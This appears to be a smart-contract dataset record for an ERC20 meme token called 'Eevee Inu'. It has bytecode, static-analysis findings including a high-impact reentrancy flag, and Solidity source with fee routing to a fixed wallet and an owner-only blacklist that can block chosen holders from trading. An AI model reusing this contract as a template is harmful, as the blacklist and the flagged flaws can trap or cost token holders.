b5565b60128190556040518181527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200161069b565b6000546001600160a01b031633146108e55760405162461bcd60e51b81526004016104e390611780565b6001600160a01b03811661094a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104e3565b6105d6816111ae565b6000546001600160a01b0316331461097d5760405162461bcd60e51b81526004016104e390611780565b4780156105d6576105d6816111fe565b60006109cf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611292565b9392505050565b6001600160a01b038316610a385760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104e3565b6001600160a01b038216610a995760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104e3565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b5e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104e3565b6001600160a01b038216610bc05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104e3565b60008111610c225760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104e3565b6001610c366000546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610c6557506000546001600160a01b03848116911614155b8015610c7a57506001600160a01b0384163014155b8015610c8f57506001600160a01b0383163014155b15610eb75760135460ff16610ca357600080fd5b601254821115610cb257600080fd5b6011546001600160a01b038581169116148015610cdd57506010546001600160a01b03848116911614155b15610e0757600654600554610cf1916110d0565b4311610d1b576001600160a01b0383166000908152600d60205260409020805460ff191660011790555b600754610d4783610d41866001600160a01b031660009081526002602052604090205490565b906110d0565b1115610dc55760405162461bcd60e51b815260206004820152604160248201527f77616c6c65742062616c616e6365206166746572207472616e73666572206d7560448201527f7374206265206c657373207468616e206d61782077616c6c657420616d6f756e6064820152601d60fa1b608482015260a4016104e3565b6001600160a01b0383166000908152600d602052604090205460ff1615610e0757610e03600a8054600b55600880546009556103e890915560009055565b5060015b601354610100900460ff16158015610e2d57506011546001600160a01b03858116911614155b15610eb7576001600160a01b0384166000908152600d602052604090205460ff16158015610e7457506001600160a01b0383166000908152600d602052604090205460ff16155b610e7d57600080fd5b30600090815260026020526040902054655af3107a4000811115610ea457610ea4816112c0565b478015610eb457610eb4476111fe565b50505b6001600160a01b03841660009081526004602052604090205460ff1680610ef657506001600160a01b03831660009081526004602052604090205460ff165b15610eff575060005b610f0b8484848461133b565b610f1c600b54600a55600954600855565b50505050565b60008184841115610f465760405162461bcd60e51b81526004016104e39190611618565b506000610f53848661181b565b95945050505050565b6013805461ff0019166101001790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fa057610fa0611832565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ff9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061101d9190611848565b8160018151811061103057611030611832565b6001600160a01b03928316602091820292909201015260105461105691309116846109d6565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac9479061108f908590600090869030904290600401611865565b600060405180830381600087803b1580156110a957600080fd5b505af11580156110bd573d6000803e3d6000fd5b50506013805461ff001916905550505050565b6000806110dd83856118d6565b9050838110156109cf5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104e3565b60008261113e5750600061044a565b600061114a83856118ee565b905082611157858361190d565b146109cf5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104e3565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600e546001600160a01b03166108fc611223600761121d85600861098d565b9061112f565b6040518115909202916000818181858888f1935050505015801561124b573d6000803e3d6000fd5b50600f546001600160a01b03166108fc61126683600861098d565b6040518115909202916000818181858888f1935050505015801561128e573d6000803e3d6000fd5b5050565b600081836112b35760405162461bcd60e51b81526004016104e39190611618565b506000610f53848661190d565b6013805461ff001916610100179055600854600a546000916112f2916112e5916110d0565b60085461076a908561112f565b9050600061130182600261098d565b9050600061130f8483611353565b90504761131b82610f5c565b600061132f8361076a8661121d4787611353565b90506110bd8482611395565b806113485761134861146a565b610f0b848484611498565b60006109cf83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f22565b6010546113ad9030906001600160a01b0316846109d6565b6010546001600160a01b031663f305d7198230856000806113d66000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561143e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611463919061192f565b5050505050565b600a5415801561147a5750600854155b1561148157565b600a8054600b556008805460095560009182905555565b6114bc60405180606001604052806000815260200160008152602001600081525090565b6114d76103e861076a600a548561112f90919063ffffffff16565b60208201526008546114f2906103e89061076a90859061112f565b8082526020820151611510919061150a908590611353565b90611353565b6040808301919091526001600160a01b0385166000908152600260205220546115399083611353565b6001600160a01b0380861660009081526002602052604080822093909355838301519186168152919091205461156e916110d0565b6001600160a01b0384166000908152600260209081526040909120919091558151908201516115b7916115a191906110d0565b30600090815260026020526040902054906110d0565b30600090815260026020908152604091829020929092558281015190519081526001600160a01b0385811692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350505050565b600060208083528351808285015260005b8181101561164557858101830151858201604001528201611629565b81811115611657576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146105d657600080fd5b6000806040838503121561169557600080fd5b82356116a08161166d565b946020939093013593505050565b6000806000606084860312156116c357600080fd5b83356116ce8161166d565b925060208401356116de8161166d565b929592945050506040919091013590565b60006020828403121561170157600080fd5b5035919050565b60006020828403121561171a57600080fd5b81356109cf8161166d565b6000806040838503121561173857600080fd5b50508035926020909101359150565b6000806040838503121561175a57600080fd5b82356117658161166d565b915060208301356117758161166d565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526030908201527f416d6f756e74206d757374206265206c657373207468616e206f72206571756160408201526f6c20746f20746f74616c537570706c7960801b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b60008282101561182d5761182d611805565b500390565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561185a57600080fd5b81516109cf8161166d565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118b55784516001600160a01b031683529383019391830191600101611890565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118e9576118e9611805565b500190565b600081600019048311821515161561190857611908611805565b500290565b60008261192a57634e487b7160e01b600052601260045260246000fd5b500490565b60008060006060848603121561194457600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209fae5a60b2d3e4ca65d59de6d21b4908d4b7154e92758c35adfba6fe16be7cc064736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 8,198 |
0xCFf38E6Dc607ae4d4C46762822a642200790Ac04
|
/**
*
**/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Eevee is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1 = 1;
uint256 private _feeAddr2 = 10;
address payable private _feeAddrWallet1 = payable(0xc71c57D21724221D4B967182ff34D2de78CC4160);
address payable private _feeAddrWallet2 = payable(0xc71c57D21724221D4B967182ff34D2de78CC4160);
string private constant _name = "Eevee Inu";
string private constant _symbol = "EEVEE INU";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb1461031c578063b515566a14610359578063c3c8cd8014610382578063c9567bf914610399578063dd62ed3e146103b057610109565b806370a0823114610272578063715018a6146102af5780638da5cb5b146102c657806395d89b41146102f157610109565b8063273123b7116100d1578063273123b7146101de578063313ce567146102075780635932ead1146102325780636fc3eaec1461025b57610109565b806306fdde031461010e578063095ea7b31461013957806318160ddd1461017657806323b872dd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b506101236103ed565b604051610130919061295b565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b91906124d5565b61042a565b60405161016d9190612940565b60405180910390f35b34801561018257600080fd5b5061018b610448565b6040516101989190612abd565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612482565b61045c565b6040516101d59190612940565b60405180910390f35b3480156101ea57600080fd5b50610205600480360381019061020091906123e8565b610535565b005b34801561021357600080fd5b5061021c610625565b6040516102299190612b32565b60405180910390f35b34801561023e57600080fd5b506102596004803603810190610254919061255e565b61062e565b005b34801561026757600080fd5b506102706106e0565b005b34801561027e57600080fd5b50610299600480360381019061029491906123e8565b610752565b6040516102a69190612abd565b60405180910390f35b3480156102bb57600080fd5b506102c46107a3565b005b3480156102d257600080fd5b506102db6108f6565b6040516102e89190612872565b60405180910390f35b3480156102fd57600080fd5b5061030661091f565b604051610313919061295b565b60405180910390f35b34801561032857600080fd5b50610343600480360381019061033e91906124d5565b61095c565b6040516103509190612940565b60405180910390f35b34801561036557600080fd5b50610380600480360381019061037b9190612515565b61097a565b005b34801561038e57600080fd5b50610397610aa4565b005b3480156103a557600080fd5b506103ae610b1e565b005b3480156103bc57600080fd5b506103d760048036038101906103d29190612442565b611080565b6040516103e49190612abd565b60405180910390f35b60606040518060400160405280600981526020017f456576656520496e750000000000000000000000000000000000000000000000815250905090565b600061043e610437611107565b848461110f565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104698484846112da565b61052a84610475611107565b610525856040518060600160405280602881526020016131e760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104db611107565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117b89092919063ffffffff16565b61110f565b600190509392505050565b61053d611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c190612a1d565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610636611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ba90612a1d565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610721611107565b73ffffffffffffffffffffffffffffffffffffffff161461074157600080fd5b600047905061074f8161181c565b50565b600061079c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611917565b9050919050565b6107ab611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610838576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082f90612a1d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f454556454520494e550000000000000000000000000000000000000000000000815250905090565b6000610970610969611107565b84846112da565b6001905092915050565b610982611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0690612a1d565b60405180910390fd5b60005b8151811015610aa057600160066000848481518110610a3457610a33612e7a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a9890612dd3565b915050610a12565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ae5611107565b73ffffffffffffffffffffffffffffffffffffffff1614610b0557600080fd5b6000610b1030610752565b9050610b1b81611985565b50565b610b26611107565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610baa90612a1d565b60405180910390fd5b600f60149054906101000a900460ff1615610c03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfa90612a9d565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c9630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce800000061110f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610cdc57600080fd5b505afa158015610cf0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d149190612415565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d7657600080fd5b505afa158015610d8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dae9190612415565b6040518363ffffffff1660e01b8152600401610dcb92919061288d565b602060405180830381600087803b158015610de557600080fd5b505af1158015610df9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1d9190612415565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ea630610752565b600080610eb16108f6565b426040518863ffffffff1660e01b8152600401610ed3969594939291906128df565b6060604051808303818588803b158015610eec57600080fd5b505af1158015610f00573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f2591906125b8565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161102a9291906128b6565b602060405180830381600087803b15801561104457600080fd5b505af1158015611058573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107c919061258b565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117690612a7d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e6906129bd565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112cd9190612abd565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561134a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134190612a5d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b19061297d565b60405180910390fd5b600081116113fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f490612a3d565b60405180910390fd5b6114056108f6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561147357506114436108f6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156117a857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561151c5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61152557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156115d05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116265750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561163e5750600f60179054906101000a900460ff165b156116ee5760105481111561165257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061169d57600080fd5b601e426116aa9190612bf3565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006116f930610752565b9050600f60159054906101000a900460ff161580156117665750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561177e5750600f60169054906101000a900460ff165b156117a65761178c81611985565b600047905060008111156117a4576117a34761181c565b5b505b505b6117b3838383611c0d565b505050565b6000838311158290611800576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f7919061295b565b60405180910390fd5b506000838561180f9190612cd4565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61186c600284611c1d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611897573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6118e8600284611c1d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611913573d6000803e3d6000fd5b5050565b600060085482111561195e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119559061299d565b60405180910390fd5b6000611968611c67565b905061197d8184611c1d90919063ffffffff16565b915050919050565b6001600f60156101000